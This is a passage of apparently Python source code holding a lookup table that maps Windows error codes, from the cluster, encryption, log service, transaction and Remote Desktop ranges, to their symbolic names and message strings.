\"An attempt to use the specified cluster name failed because an enabled computer object with the given name already exists in the domain.\"),\n        0x00001731: (\"ERROR_NONCORE_GROUPS_FOUND\", \"This cluster cannot be destroyed. It has non-core application groups which must be deleted before the cluster can be destroyed.\"),\n        0x00001732: (\"ERROR_FILE_SHARE_RESOURCE_CONFLICT\", \"File share associated with file share witness resource cannot be hosted by this cluster or any of its nodes.\"),\n        0x00001733: (\"ERROR_CLUSTER_EVICT_INVALID_REQUEST\", \"Eviction of this node is invalid at this time. Due to quorum requirements node eviction will result in cluster shutdown.\"),\n        0x00001734: (\"ERROR_CLUSTER_SINGLETON_RESOURCE\", \"Only one instance of this resource type is allowed in the cluster.\"),\n        0x00001735: (\"ERROR_CLUSTER_GROUP_SINGLETON_RESOURCE\", \"Only one instance of this resource type is allowed per resource group.\"),\n        0x00001736: (\"ERROR_CLUSTER_RESOURCE_PROVIDER_FAILED\", \"The resource failed to come online due to the failure of one or more provider resources.\"),\n        0x00001737: (\"ERROR_CLUSTER_RESOURCE_CONFIGURATION_ERROR\", \"The resource has indicated that it cannot come online on any node.\"),\n        0x00001738: (\"ERROR_CLUSTER_GROUP_BUSY\", \"The current operation cannot be performed on this group at this time.\"),\n        0x00001739: (\"ERROR_CLUSTER_NOT_SHARED_VOLUME\", \"The directory or file is not located on a cluster shared volume.\"),\n        0x0000173a: (\"ERROR_CLUSTER_INVALID_SECURITY_DESCRIPTOR\", \"The Security Descriptor does not meet the requirements for a cluster.\"),\n        0x0000173b: (\"ERROR_CLUSTER_SHARED_VOLUMES_IN_USE\", \"There is one or more shared volumes resources configured in the cluster.\"),\n        0x0000173c: (\"ERROR_CLUSTER_USE_SHARED_VOLUMES_API\", \"This group or resource cannot be directly manipulated.\"),\n        0x0000173d: (\"ERROR_CLUSTER_BACKUP_IN_PROGRESS\", \"Back up is in progress. Please wait for backup completion before trying this operation again.\"),\n        0x0000173e: (\"ERROR_NON_CSV_PATH\", \"The path does not belong to a cluster shared volume.\"),\n        0x0000173f: (\"ERROR_CSV_VOLUME_NOT_LOCAL\", \"The cluster shared volume is not locally mounted on this node.\"),\n        0x00001740: (\"ERROR_CLUSTER_WATCHDOG_TERMINATING\", \"The cluster watchdog is terminating.\"),\n        0x00001741: (\"ERROR_CLUSTER_RESOURCE_VETOED_MOVE_INCOMPATIBLE_NODES\", \"A resource vetoed a move between two nodes because they are incompatible.\"),\n        0x00001742: (\"ERROR_CLUSTER_INVALID_NODE_WEIGHT\", \"The request is invalid either because node weight cannot be changed while the cluster is in disk-only quorum mode, or because changing the node weight would violate the minimum cluster quorum requirements.\"),\n        0x00001743: (\"ERROR_CLUSTER_RESOURCE_VETOED_CALL\", \"The resource vetoed the call.\"),\n        0x00001744: (\"ERROR_RESMON_SYSTEM_RESOURCES_LACKING\", \"Resource could not start or run because it could not reserve sufficient system resources.\"),\n        0x00001745: (\"ERROR_CLUSTER_RESOURCE_VETOED_MOVE_NOT_ENOUGH_RESOURCES_ON_DESTINATION\", \"A resource vetoed a move between two nodes because the destination currently does not have enough resources to complete the operation.\"),\n        0x00001746: (\"ERROR_CLUSTER_RESOURCE_VETOED_MOVE_NOT_ENOUGH_RESOURCES_ON_SOURCE\", \"\"),\n        0x00001747: (\"ERROR_CLUSTER_GROUP_QUEUED\", \"\"),\n        0x00001748: (\"ERROR_CLUSTER_RESOURCE_LOCKED_STATUS\", \"\"),\n        0x00001749: (\"ERROR_CLUSTER_SHARED_VOLUME_FAILOVER_NOT_ALLOWED\", \"\"),\n        0x0000174a: (\"ERROR_CLUSTER_NODE_DRAIN_IN_PROGRESS\", \"\"),\n        0x0000174b: (\"ERROR_CLUSTER_DISK_NOT_CONNECTED\", \"\"),\n        0x0000174c: (\"ERROR_DISK_NOT_CSV_CAPABLE\", \"\"),\n        0x0000174d: (\"ERROR_RESOURCE_NOT_IN_AVAILABLE_STORAGE\", \"\"),\n        0x0000174e: (\"ERROR_CLUSTER_SHARED_VOLUME_REDIRECTED\", \"\"),\n        0x0000174f: (\"ERROR_CLUSTER_SHARED_VOLUME_NOT_REDIRECTED\", \"\"),\n        0x00001750: (\"ERROR_CLUSTER_CANNOT_RETURN_PROPERTIES\", \"\"),\n        0x00001751: (\"ERROR_CLUSTER_RESOURCE_CONTAINS_UNSUPPORTED_DIFF_AREA_FOR_SHARED_VOLUMES\", \"\"),\n        0x00001752: (\"ERROR_CLUSTER_RESOURCE_IS_IN_MAINTENANCE_MODE\", \"\"),\n        0x00001753: (\"ERROR_CLUSTER_AFFINITY_CONFLICT\", \"\"),\n        0x00001754: (\"ERROR_CLUSTER_RESOURCE_IS_REPLICA_VIRTUAL_MACHINE\", \"\"),\n        0x00001770: (\"ERROR_ENCRYPTION_FAILED\", \"The specified file could not be encrypted.\"),\n        0x00001771: (\"ERROR_DECRYPTION_FAILED\", \"The specified file could not be decrypted.\"),\n        0x00001772: (\"ERROR_FILE_ENCRYPTED\", \"The specified file is encrypted and the user does not have the ability to decrypt it.\"),\n        0x00001773: (\"ERROR_NO_RECOVERY_POLICY\", \"There is no valid encryption recovery policy configured for this system.\"),\n        0x00001774: (\"ERROR_NO_EFS\", \"The required encryption driver is not loaded for this system.\"),\n        0x00001775: (\"ERROR_WRONG_EFS\", \"The file was encrypted with a different encryption driver than is currently loaded.\"),\n        0x00001776: (\"ERROR_NO_USER_KEYS\", \"There are no EFS keys defined for the user.\"),\n        0x00001777: (\"ERROR_FILE_NOT_ENCRYPTED\", \"The specified file is not encrypted.\"),\n        0x00001778: (\"ERROR_NOT_EXPORT_FORMAT\", \"The specified file is not in the defined EFS export format.\"),\n        0x00001779: (\"ERROR_FILE_READ_ONLY\", \"The specified file is read only.\"),\n        0x0000177a: (\"ERROR_DIR_EFS_DISALLOWED\", \"The directory has been disabled for encryption.\"),\n        0x0000177b: (\"ERROR_EFS_SERVER_NOT_TRUSTED\", \"The server is not trusted for remote encryption operation.\"),\n        0x0000177c: (\"ERROR_BAD_RECOVERY_POLICY\", \"Recovery policy configured for this system contains invalid recovery certificate.\"),\n        0x0000177d: (\"ERROR_EFS_ALG_BLOB_TOO_BIG\", \"The encryption algorithm used on the source file needs a bigger key buffer than the one on the destination file.\"),\n        0x0000177e: (\"ERROR_VOLUME_NOT_SUPPORT_EFS\", \"The disk partition does not support file encryption.\"),\n        0x0000177f: (\"ERROR_EFS_DISABLED\", \"This machine is disabled for file encryption.\"),\n        0x00001780: (\"ERROR_EFS_VERSION_NOT_SUPPORT\", \"A newer system is required to decrypt this encrypted file.\"),\n        0x00001781: (\"ERROR_CS_ENCRYPTION_INVALID_SERVER_RESPONSE\", \"The remote server sent an invalid response for a file being opened with Client Side Encryption.\"),\n        0x00001782: (\"ERROR_CS_ENCRYPTION_UNSUPPORTED_SERVER\", \"Client Side Encryption is not supported by the remote server even though it claims to support it.\"),\n        0x00001783: (\"ERROR_CS_ENCRYPTION_EXISTING_ENCRYPTED_FILE\", \"File is encrypted and should be opened in Client Side Encryption mode.\"),\n        0x00001784: (\"ERROR_CS_ENCRYPTION_NEW_ENCRYPTED_FILE\", \"A new encrypted file is being created and a $EFS needs to be provided.\"),\n        0x00001785: (\"ERROR_CS_ENCRYPTION_FILE_NOT_CSE\", \"The SMB client requested a CSE FSCTL on a non-CSE file.\"),\n        0x00001786: (\"ERROR_ENCRYPTION_POLICY_DENIES_OPERATION\", \"The requested operation was blocked by policy. For more information, contact your system administrator.\"),\n        0x000017e6: (\"ERROR_NO_BROWSER_SERVERS_FOUND\", \"The list of servers for this workgroup is not currently available\"),\n        0x00001838: (\"SCHED_E_SERVICE_NOT_LOCALSYSTEM\", \"The Task Scheduler service must be configured to run in the System account to function properly. Individual tasks may be configured to run in other accounts.\"),\n        0x000019c8: (\"ERROR_LOG_SECTOR_INVALID\", \"Log service encountered an invalid log sector.\"),\n        0x000019c9: (\"ERROR_LOG_SECTOR_PARITY_INVALID\", \"Log service encountered a log sector with invalid block parity.\"),\n        0x000019ca: (\"ERROR_LOG_SECTOR_REMAPPED\", \"Log service encountered a remapped log sector.\"),\n        0x000019cb: (\"ERROR_LOG_BLOCK_INCOMPLETE\", \"Log service encountered a partial or incomplete log block.\"),\n        0x000019cc: (\"ERROR_LOG_INVALID_RANGE\", \"Log service encountered an attempt access data outside the active log range.\"),\n        0x000019cd: (\"ERROR_LOG_BLOCKS_EXHAUSTED\", \"Log service user marshalling buffers are exhausted.\"),\n        0x000019ce: (\"ERROR_LOG_READ_CONTEXT_INVALID\", \"Log service encountered an attempt read from a marshalling area with an invalid read context.\"),\n        0x000019cf: (\"ERROR_LOG_RESTART_INVALID\", \"Log service encountered an invalid log restart area.\"),\n        0x000019d0: (\"ERROR_LOG_BLOCK_VERSION\", \"Log service encountered an invalid log block version.\"),\n        0x000019d1: (\"ERROR_LOG_BLOCK_INVALID\", \"Log service encountered an invalid log block.\"),\n        0x000019d2: (\"ERROR_LOG_READ_MODE_INVALID\", \"Log service encountered an attempt to read the log with an invalid read mode.\"),\n        0x000019d3: (\"ERROR_LOG_NO_RESTART\", \"Log service encountered a log stream with no restart area.\"),\n        0x000019d4: (\"ERROR_LOG_METADATA_CORRUPT\", \"Log service encountered a corrupted metadata file.\"),\n        0x000019d5: (\"ERROR_LOG_METADATA_INVALID\", \"Log service encountered a metadata file that could not be created by the log file system.\"),\n        0x000019d6: (\"ERROR_LOG_METADATA_INCONSISTENT\", \"Log service encountered a metadata file with inconsistent data.\"),\n        0x000019d7: (\"ERROR_LOG_RESERVATION_INVALID\", \"Log service encountered an attempt to erroneous allocate or dispose reservation space.\"),\n        0x000019d8: (\"ERROR_LOG_CANT_DELETE\", \"Log service cannot delete log file or file system container.\"),\n        0x000019d9: (\"ERROR_LOG_CONTAINER_LIMIT_EXCEEDED\", \"Log service has reached the maximum allowable containers allocated to a log file.\"),\n        0x000019da: (\"ERROR_LOG_START_OF_LOG\", \"Log service has attempted to read or write backward past the start of the log.\"),\n        0x000019db: (\"ERROR_LOG_POLICY_ALREADY_INSTALLED\", \"Log policy could not be installed because a policy of the same type is already present.\"),\n        0x000019dc: (\"ERROR_LOG_POLICY_NOT_INSTALLED\", \"Log policy in question was not installed at the time of the request.\"),\n        0x000019dd: (\"ERROR_LOG_POLICY_INVALID\", \"The installed set of policies on the log is invalid.\"),\n        0x000019de: (\"ERROR_LOG_POLICY_CONFLICT\", \"A policy on the log in question prevented the operation from completing.\"),\n        0x000019df: (\"ERROR_LOG_PINNED_ARCHIVE_TAIL\", \"Log space cannot be reclaimed because the log is pinned by the archive tail.\"),\n        0x000019e0: (\"ERROR_LOG_RECORD_NONEXISTENT\", \"Log record is not a record in the log file.\"),\n        0x000019e1: (\"ERROR_LOG_RECORDS_RESERVED_INVALID\", \"Number of reserved log records or the adjustment of the number of reserved log records is invalid.\"),\n        0x000019e2: (\"ERROR_LOG_SPACE_RESERVED_INVALID\", \"Reserved log space or the adjustment of the log space is invalid.\"),\n        0x000019e3: (\"ERROR_LOG_TAIL_INVALID\", \"An new or existing archive tail or base of the active log is invalid.\"),\n        0x000019e4: (\"ERROR_LOG_FULL\", \"Log space is exhausted.\"),\n        0x000019e5: (\"ERROR_COULD_NOT_RESIZE_LOG\", \"The log could not be set to the requested size.\"),\n        0x000019e6: (\"ERROR_LOG_MULTIPLEXED\", \"Log is multiplexed, no direct writes to the physical log is allowed.\"),\n        0x000019e7: (\"ERROR_LOG_DEDICATED\", \"The operation failed because the log is a dedicated log.\"),\n        0x000019e8: (\"ERROR_LOG_ARCHIVE_NOT_IN_PROGRESS\", \"The operation requires an archive context.\"),\n        0x000019e9: (\"ERROR_LOG_ARCHIVE_IN_PROGRESS\", \"Log archival is in progress.\"),\n        0x000019ea: (\"ERROR_LOG_EPHEMERAL\", \"The operation requires a non-ephemeral log, but the log is ephemeral.\"),\n        0x000019eb: (\"ERROR_LOG_NOT_ENOUGH_CONTAINERS\", \"The log must have at least two containers before it can be read from or written to.\"),\n        0x000019ec: (\"ERROR_LOG_CLIENT_ALREADY_REGISTERED\", \"A log client has already registered on the stream.\"),\n        0x000019ed: (\"ERROR_LOG_CLIENT_NOT_REGISTERED\", \"A log client has not been registered on the stream.\"),\n        0x000019ee: (\"ERROR_LOG_FULL_HANDLER_IN_PROGRESS\", \"A request has already been made to handle the log full condition.\"),\n        0x000019ef: (\"ERROR_LOG_CONTAINER_READ_FAILED\", \"Log service encountered an error when attempting to read from a log container.\"),\n        0x000019f0: (\"ERROR_LOG_CONTAINER_WRITE_FAILED\", \"Log service encountered an error when attempting to write to a log container.\"),\n        0x000019f1: (\"ERROR_LOG_CONTAINER_OPEN_FAILED\", \"Log service encountered an error when attempting open a log container.\"),\n        0x000019f2: (\"ERROR_LOG_CONTAINER_STATE_INVALID\", \"Log service encountered an invalid container state when attempting a requested action.\"),\n        0x000019f3: (\"ERROR_LOG_STATE_INVALID\", \"Log service is not in the correct state to perform a requested action.\"),\n        0x000019f4: (\"ERROR_LOG_PINNED\", \"Log space cannot be reclaimed because the log is pinned.\"),\n        0x000019f5: (\"ERROR_LOG_METADATA_FLUSH_FAILED\", \"Log metadata flush failed.\"),\n        0x000019f6: (\"ERROR_LOG_INCONSISTENT_SECURITY\", \"Security on the log and its containers is inconsistent.\"),\n        0x000019f7: (\"ERROR_LOG_APPENDED_FLUSH_FAILED\", \"Records were appended to the log or reservation changes were made, but the log could not be flushed.\"),\n        0x000019f8: (\"ERROR_LOG_PINNED_RESERVATION\", \"The log is pinned due to reservation consuming most of the log space. Free some reserved records to make space available.\"),\n        0x00001a2c: (\"ERROR_INVALID_TRANSACTION\", \"The transaction handle associated with this operation is not valid.\"),\n        0x00001a2d: (\"ERROR_TRANSACTION_NOT_ACTIVE\", \"The requested operation was made in the context of a transaction that is no longer active.\"),\n        0x00001a2e: (\"ERROR_TRANSACTION_REQUEST_NOT_VALID\", \"The requested operation is not valid on the Transaction object in its current state.\"),\n        0x00001a2f: (\"ERROR_TRANSACTION_NOT_REQUESTED\", \"The caller has called a response API, but the response is not expected because the TM did not issue the corresponding request to the caller.\"),\n        0x00001a30: (\"ERROR_TRANSACTION_ALREADY_ABORTED\", \"It is too late to perform the requested operation, since the Transaction has already been aborted.\"),\n        0x00001a31: (\"ERROR_TRANSACTION_ALREADY_COMMITTED\", \"It is too late to perform the requested operation, since the Transaction has already been committed.\"),\n        0x00001a32: (\"ERROR_TM_INITIALIZATION_FAILED\", \"The Transaction Manager was unable to be successfully initialized. Transacted operations are not supported.\"),\n        0x00001a33: (\"ERROR_RESOURCEMANAGER_READ_ONLY\", \"The specified ResourceManager made no changes or updates to the resource under this transaction.\"),\n        0x00001a34: (\"ERROR_TRANSACTION_NOT_JOINED\", \"The resource manager has attempted to prepare a transaction that it has not successfully joined.\"),\n        0x00001a35: (\"ERROR_TRANSACTION_SUPERIOR_EXISTS\", \"The Transaction object already has a superior enlistment, and the caller attempted an operation that would have created a new superior. Only a single superior enlistment is allow.\"),\n        0x00001a36: (\"ERROR_CRM_PROTOCOL_ALREADY_EXISTS\", \"The RM tried to register a protocol that already exists.\"),\n        0x00001a37: (\"ERROR_TRANSACTION_PROPAGATION_FAILED\", \"The attempt to propagate the Transaction failed.\"),\n        0x00001a38: (\"ERROR_CRM_PROTOCOL_NOT_FOUND\", \"The requested propagation protocol was not registered as a CRM.\"),\n        0x00001a39: (\"ERROR_TRANSACTION_INVALID_MARSHALL_BUFFER\", \"The buffer passed in to PushTransaction or PullTransaction is not in a valid format.\"),\n        0x00001a3a: (\"ERROR_CURRENT_TRANSACTION_NOT_VALID\", \"The current transaction context associated with the thread is not a valid handle to a transaction object.\"),\n        0x00001a3b: (\"ERROR_TRANSACTION_NOT_FOUND\", \"The specified Transaction object could not be opened, because it was not found.\"),\n        0x00001a3c: (\"ERROR_RESOURCEMANAGER_NOT_FOUND\", \"The specified ResourceManager object could not be opened, because it was not found.\"),\n        0x00001a3d: (\"ERROR_ENLISTMENT_NOT_FOUND\", \"The specified Enlistment object could not be opened, because it was not found.\"),\n        0x00001a3e: (\"ERROR_TRANSACTIONMANAGER_NOT_FOUND\", \"The specified TransactionManager object could not be opened, because it was not found.\"),\n        0x00001a3f: (\"ERROR_TRANSACTIONMANAGER_NOT_ONLINE\", \"The object specified could not be created or opened, because its associated TransactionManager is not online.  The TransactionManager must be brought fully Online by calling RecoverTransactionManager to recover to the end of its LogFile before objects in its Transaction or ResourceManager namespaces can be opened.  In addition, errors in writing records to its LogFile can cause a TransactionManager to go offline.\"),\n        0x00001a40: (\"ERROR_TRANSACTIONMANAGER_RECOVERY_NAME_COLLISION\", \"The specified TransactionManager was unable to create the objects contained in its logfile in the Ob namespace. Therefore, the TransactionManager was unable to recover.\"),\n        0x00001a41: (\"ERROR_TRANSACTION_NOT_ROOT\", \"The call to create a superior Enlistment on this Transaction object could not be completed, because the Transaction object specified for the enlistment is a subordinate branch of the Transaction. Only the root of the Transaction can be enlisted on as a superior.\"),\n        0x00001a42: (\"ERROR_TRANSACTION_OBJECT_EXPIRED\", \"Because the associated transaction manager or resource manager has been closed, the handle is no longer valid.\"),\n        0x00001a43: (\"ERROR_TRANSACTION_RESPONSE_NOT_ENLISTED\", \"The specified operation could not be performed on this Superior enlistment, because the enlistment was not created with the corresponding completion response in the NotificationMask.\"),\n        0x00001a44: (\"ERROR_TRANSACTION_RECORD_TOO_LONG\", \"The specified operation could not be performed, because the record that would be logged was too long. This can occur because of two conditions: either there are too many Enlistments on this Transaction, or the combined RecoveryInformation being logged on behalf of those Enlistments is too long.\"),\n        0x00001a45: (\"ERROR_IMPLICIT_TRANSACTION_NOT_SUPPORTED\", \"Implicit transaction are not supported.\"),\n        0x00001a46: (\"ERROR_TRANSACTION_INTEGRITY_VIOLATED\", \"The kernel transaction manager had to abort or forget the transaction because it blocked forward progress.\"),\n        0x00001a47: (\"ERROR_TRANSACTIONMANAGER_IDENTITY_MISMATCH\", \"The TransactionManager identity that was supplied did not match the one recorded in the TransactionManager's log file.\"),\n        0x00001a48: (\"ERROR_RM_CANNOT_BE_FROZEN_FOR_SNAPSHOT\", \"This snapshot operation cannot continue because a transactional resource manager cannot be frozen in its current state.  Please try again.\"),\n        0x00001a49: (\"ERROR_TRANSACTION_MUST_WRITETHROUGH\", \"The transaction cannot be enlisted on with the specified EnlistmentMask, because the transaction has already completed the PrePrepare phase.  In order to ensure correctness, the ResourceManager must switch to a write-through mode and cease caching data within this transaction.  Enlisting for only subsequent transaction phases may still succeed.\"),\n        0x00001a4a: (\"ERROR_TRANSACTION_NO_SUPERIOR\", \"The transaction does not have a superior enlistment.\"),\n        0x00001a4b: (\"ERROR_HEURISTIC_DAMAGE_POSSIBLE\", \"The attempt to commit the Transaction completed, but it is possible that some portion of the transaction tree did not commit successfully due to heuristics.  Therefore it is possible that some data modified in the transaction may not have committed, resulting in transactional inconsistency.  If possible, check the consistency of the associated data.\"),\n        0x00001a90: (\"ERROR_TRANSACTIONAL_CONFLICT\", \"The function attempted to use a name that is reserved for use by another transaction.\"),\n        0x00001a91: (\"ERROR_RM_NOT_ACTIVE\", \"Transaction support within the specified resource manager is not started or was shut down due to an error.\"),\n        0x00001a92: (\"ERROR_RM_METADATA_CORRUPT\", \"The metadata of the RM has been corrupted. The RM will not function.\"),\n        0x00001a93: (\"ERROR_DIRECTORY_NOT_RM\", \"The specified directory does not contain a resource manager.\"),\n        0x00001a95: (\"ERROR_TRANSACTIONS_UNSUPPORTED_REMOTE\", \"The remote server or share does not support transacted file operations.\"),\n        0x00001a96: (\"ERROR_LOG_RESIZE_INVALID_SIZE\", \"The requested log size is invalid.\"),\n        0x00001a97: (\"ERROR_OBJECT_NO_LONGER_EXISTS\", \"The object (file, stream, link) corresponding to the handle has been deleted by a Transaction Savepoint Rollback.\"),\n        0x00001a98: (\"ERROR_STREAM_MINIVERSION_NOT_FOUND\", \"The specified file miniversion was not found for this transacted file open.\"),\n        0x00001a99: (\"ERROR_STREAM_MINIVERSION_NOT_VALID\", \"The specified file miniversion was found but has been invalidated. Most likely cause is a transaction savepoint rollback.\"),\n        0x00001a9a: (\"ERROR_MINIVERSION_INACCESSIBLE_FROM_SPECIFIED_TRANSACTION\", \"A miniversion may only be opened in the context of the transaction that created it.\"),\n        0x00001a9b: (\"ERROR_CANT_OPEN_MINIVERSION_WITH_MODIFY_INTENT\", \"It is not possible to open a miniversion with modify access.\"),\n        0x00001a9c: (\"ERROR_CANT_CREATE_MORE_STREAM_MINIVERSIONS\", \"It is not possible to create any more miniversions for this stream.\"),\n        0x00001a9e: (\"ERROR_REMOTE_FILE_VERSION_MISMATCH\", \"The remote server sent mismatching version number or Fid for a file opened with transactions.\"),\n        0x00001a9f: (\"ERROR_HANDLE_NO_LONGER_VALID\", \"The handle has been invalidated by a transaction. The most likely cause is the presence of memory mapping on a file or an open handle when the transaction ended or rolled back to savepoint.\"),\n        0x00001aa0: (\"ERROR_NO_TXF_METADATA\", \"There is no transaction metadata on the file.\"),\n        0x00001aa1: (\"ERROR_LOG_CORRUPTION_DETECTED\", \"The log data is corrupt.\"),\n        0x00001aa2: (\"ERROR_CANT_RECOVER_WITH_HANDLE_OPEN\", \"The file can't be recovered because there is a handle still open on it.\"),\n        0x00001aa3: (\"ERROR_RM_DISCONNECTED\", \"The transaction outcome is unavailable because the resource manager responsible for it has disconnected.\"),\n        0x00001aa4: (\"ERROR_ENLISTMENT_NOT_SUPERIOR\", \"The request was rejected because the enlistment in question is not a superior enlistment.\"),\n        0x00001aa5: (\"ERROR_RECOVERY_NOT_NEEDED\", \"The transactional resource manager is already consistent. Recovery is not needed.\"),\n        0x00001aa6: (\"ERROR_RM_ALREADY_STARTED\", \"The transactional resource manager has already been started.\"),\n        0x00001aa7: (\"ERROR_FILE_IDENTITY_NOT_PERSISTENT\", \"The file cannot be opened transactionally, because its identity depends on the outcome of an unresolved transaction.\"),\n        0x00001aa8: (\"ERROR_CANT_BREAK_TRANSACTIONAL_DEPENDENCY\", \"The operation cannot be performed because another transaction is depending on the fact that this property will not change.\"),\n        0x00001aa9: (\"ERROR_CANT_CROSS_RM_BOUNDARY\", \"The operation would involve a single file with two transactional resource managers and is therefore not allowed.\"),\n        0x00001aaa: (\"ERROR_TXF_DIR_NOT_EMPTY\", \"The $Txf directory must be empty for this operation to succeed.\"),\n        0x00001aab: (\"ERROR_INDOUBT_TRANSACTIONS_EXIST\", \"The operation would leave a transactional resource manager in an inconsistent state and is therefore not allowed.\"),\n        0x00001aac: (\"ERROR_TM_VOLATILE\", \"The operation could not be completed because the transaction manager does not have a log.\"),\n        0x00001aad: (\"ERROR_ROLLBACK_TIMER_EXPIRED\", \"A rollback could not be scheduled because a previously scheduled rollback has already executed or been queued for execution.\"),\n        0x00001aae: (\"ERROR_TXF_ATTRIBUTE_CORRUPT\", \"The transactional metadata attribute on the file or directory is corrupt and unreadable.\"),\n        0x00001aaf: (\"ERROR_EFS_NOT_ALLOWED_IN_TRANSACTION\", \"The encryption operation could not be completed because a transaction is active.\"),\n        0x00001ab0: (\"ERROR_TRANSACTIONAL_OPEN_NOT_ALLOWED\", \"This object is not allowed to be opened in a transaction.\"),\n        0x00001ab1: (\"ERROR_LOG_GROWTH_FAILED\", \"An attempt to create space in the transactional resource manager's log failed. The failure status has been recorded in the event log.\"),\n        0x00001ab2: (\"ERROR_TRANSACTED_MAPPING_UNSUPPORTED_REMOTE\", \"Memory mapping (creating a mapped section) a remote file under a transaction is not supported.\"),\n        0x00001ab3: (\"ERROR_TXF_METADATA_ALREADY_PRESENT\", \"Transaction metadata is already present on this file and cannot be superseded.\"),\n        0x00001ab4: (\"ERROR_TRANSACTION_SCOPE_CALLBACKS_NOT_SET\", \"A transaction scope could not be entered because the scope handler has not been initialized.\"),\n        0x00001ab5: (\"ERROR_TRANSACTION_REQUIRED_PROMOTION\", \"Promotion was required in order to allow the resource manager to enlist, but the transaction was set to disallow it.\"),\n        0x00001ab6: (\"ERROR_CANNOT_EXECUTE_FILE_IN_TRANSACTION\", \"This file is open for modification in an unresolved transaction and may be opened for execute only by a transacted reader.\"),\n        0x00001ab7: (\"ERROR_TRANSACTIONS_NOT_FROZEN\", \"The request to thaw frozen transactions was ignored because transactions had not previously been frozen.\"),\n        0x00001ab8: (\"ERROR_TRANSACTION_FREEZE_IN_PROGRESS\", \"Transactions cannot be frozen because a freeze is already in progress.\"),\n        0x00001ab9: (\"ERROR_NOT_SNAPSHOT_VOLUME\", \"The target volume is not a snapshot volume. This operation is only valid on a volume mounted as a snapshot.\"),\n        0x00001aba: (\"ERROR_NO_SAVEPOINT_WITH_OPEN_FILES\", \"The savepoint operation failed because files are open on the transaction. This is not permitted.\"),\n        0x00001abb: (\"ERROR_DATA_LOST_REPAIR\", \"Windows has discovered corruption in a file, and that file has since been repaired. Data loss may have occurred.\"),\n        0x00001abc: (\"ERROR_SPARSE_NOT_ALLOWED_IN_TRANSACTION\", \"The sparse operation could not be completed because a transaction is active on the file.\"),\n        0x00001abd: (\"ERROR_TM_IDENTITY_MISMATCH\", \"The call to create a TransactionManager object failed because the Tm Identity stored in the logfile does not match the Tm Identity that was passed in as an argument.\"),\n        0x00001abe: (\"ERROR_FLOATED_SECTION\", \"I/O was attempted on a section object that has been floated as a result of a transaction ending. There is no valid data.\"),\n        0x00001abf: (\"ERROR_CANNOT_ACCEPT_TRANSACTED_WORK\", \"The transactional resource manager cannot currently accept transacted work due to a transient condition such as low resources.\"),\n        0x00001ac0: (\"ERROR_CANNOT_ABORT_TRANSACTIONS\", \"The transactional resource manager had too many transactions outstanding that could not be aborted. The transactional resource manager has been shut down.\"),\n        0x00001ac1: (\"ERROR_BAD_CLUSTERS\", \"The operation could not be completed due to bad clusters on disk.\"),\n        0x00001ac2: (\"ERROR_COMPRESSION_NOT_ALLOWED_IN_TRANSACTION\", \"The compression operation could not be completed because a transaction is active on the file.\"),\n        0x00001ac3: (\"ERROR_VOLUME_DIRTY\", \"The operation could not be completed because the volume is dirty. Please run chkdsk and try again.\"),\n        0x00001ac4: (\"ERROR_NO_LINK_TRACKING_IN_TRANSACTION\", \"The link tracking operation could not be completed because a transaction is active.\"),\n        0x00001ac5: (\"ERROR_OPERATION_NOT_SUPPORTED_IN_TRANSACTION\", \"This operation cannot be performed in a transaction.\"),\n        0x00001ac6: (\"ERROR_EXPIRED_HANDLE\", \"The handle is no longer properly associated with its transaction.  It may have been opened in a transactional resource manager that was subsequently forced to restart.  Please close the handle and open a new one.\"),\n        0x00001ac7: (\"ERROR_TRANSACTION_NOT_ENLISTED\", \"The specified operation could not be performed because the resource manager is not enlisted in the transaction.\"),\n        0x00001b59: (\"ERROR_CTX_WINSTATION_NAME_INVALID\", \"The specified session name is invalid.\"),\n        0x00001b5a: (\"ERROR_CTX_INVALID_PD\", \"The specified protocol driver is invalid.\"),\n        0x00001b5b: (\"ERROR_CTX_PD_NOT_FOUND\", \"The specified protocol driver was not found in the system path.\"),\n        0x00001b5c: (\"ERROR_CTX_WD_NOT_FOUND\", \"The specified terminal connection driver was not found in the system path.\"),\n        0x00001b5d: (\"ERROR_CTX_CANNOT_MAKE_EVENTLOG_ENTRY\", \"A registry key for event logging could not be created for this session.\"),\n        0x00001b5e: (\"ERROR_CTX_SERVICE_NAME_COLLISION\", \"A service with the same name already exists on the system.\"),\n        0x00001b5f: (\"ERROR_CTX_CLOSE_PENDING\", \"A close operation is pending on the session.\"),\n        0x00001b60: (\"ERROR_CTX_NO_OUTBUF\", \"There are no free output buffers available.\"),\n        0x00001b61: (\"ERROR_CTX_MODEM_INF_NOT_FOUND\", \"The MODEM.INF file was not found.\"),\n        0x00001b62: (\"ERROR_CTX_INVALID_MODEMNAME\", \"The modem name was not found in MODEM.INF.\"),\n        0x00001b63: (\"ERROR_CTX_MODEM_RESPONSE_ERROR\", \"The modem did not accept the command sent to it. Verify that the configured modem name matches the attached modem.\"),\n        0x00001b64: (\"ERROR_CTX_MODEM_RESPONSE_TIMEOUT\", \"The modem did not respond to the command sent to it. Verify that the modem is properly cabled and powered on.\"),\n        0x00001b65: (\"ERROR_CTX_MODEM_RESPONSE_NO_CARRIER\", \"Carrier detect has failed or carrier has been dropped due to disconnect.\"),\n        0x00001b66: (\"ERROR_CTX_MODEM_RESPONSE_NO_DIALTONE\", \"Dial tone not detected within the required time. Verify that the phone cable is properly attached and functional.\"),\n        0x00001b67: (\"ERROR_CTX_MODEM_RESPONSE_BUSY\", \"Busy signal detected at remote site on callback.\"),\n        0x00001b68: (\"ERROR_CTX_MODEM_RESPONSE_VOICE\", \"Voice detected at remote site on callback.\"),\n        0x00001b69: (\"ERROR_CTX_TD_ERROR\", \"Transport driver error\"),\n        0x00001b6e: (\"ERROR_CTX_WINSTATION_NOT_FOUND\", \"The specified session cannot be found.\"),\n        0x00001b6f: (\"ERROR_CTX_WINSTATION_ALREADY_EXISTS\", \"The specified session name is already in use.\"),\n        0x00001b70: (\"ERROR_CTX_WINSTATION_BUSY\", \"The task you are trying to do can't be completed because Remote Desktop Services is currently busy. Please try again in a few minutes. Other users should still be able to log on.\"),\n        0x00001b71: (\"ERROR_CTX_BAD_VIDEO_MODE\", \"An attempt has been made to connect to a session whose video mode is not supported by the current client.\"),\n        0x00001b7b: (\"ERROR_CTX_GRAPHICS_INVALID\", \"The application attempted to enable DOS graphics mode. DOS graphics mode is not supported.\"),\n        0x00001b7d: (\"ERROR_CTX_LOGON_DISABLED\", \"Your interactive logon privilege has been disabled. Please contact your administrator.\"),\n        0x00001b7e: (\"ERROR_CTX_NOT_CONSOLE\", \"The requested operation can be performed only on the system console. This is most often the result of a driver or system DLL requiring direct console access.\"),\n        0x00001b80: (\"ERROR_CTX_CLIENT_QUERY_TIMEOUT\", \"The client failed to respond to the server connect message.\"),\n        0x00001b81: 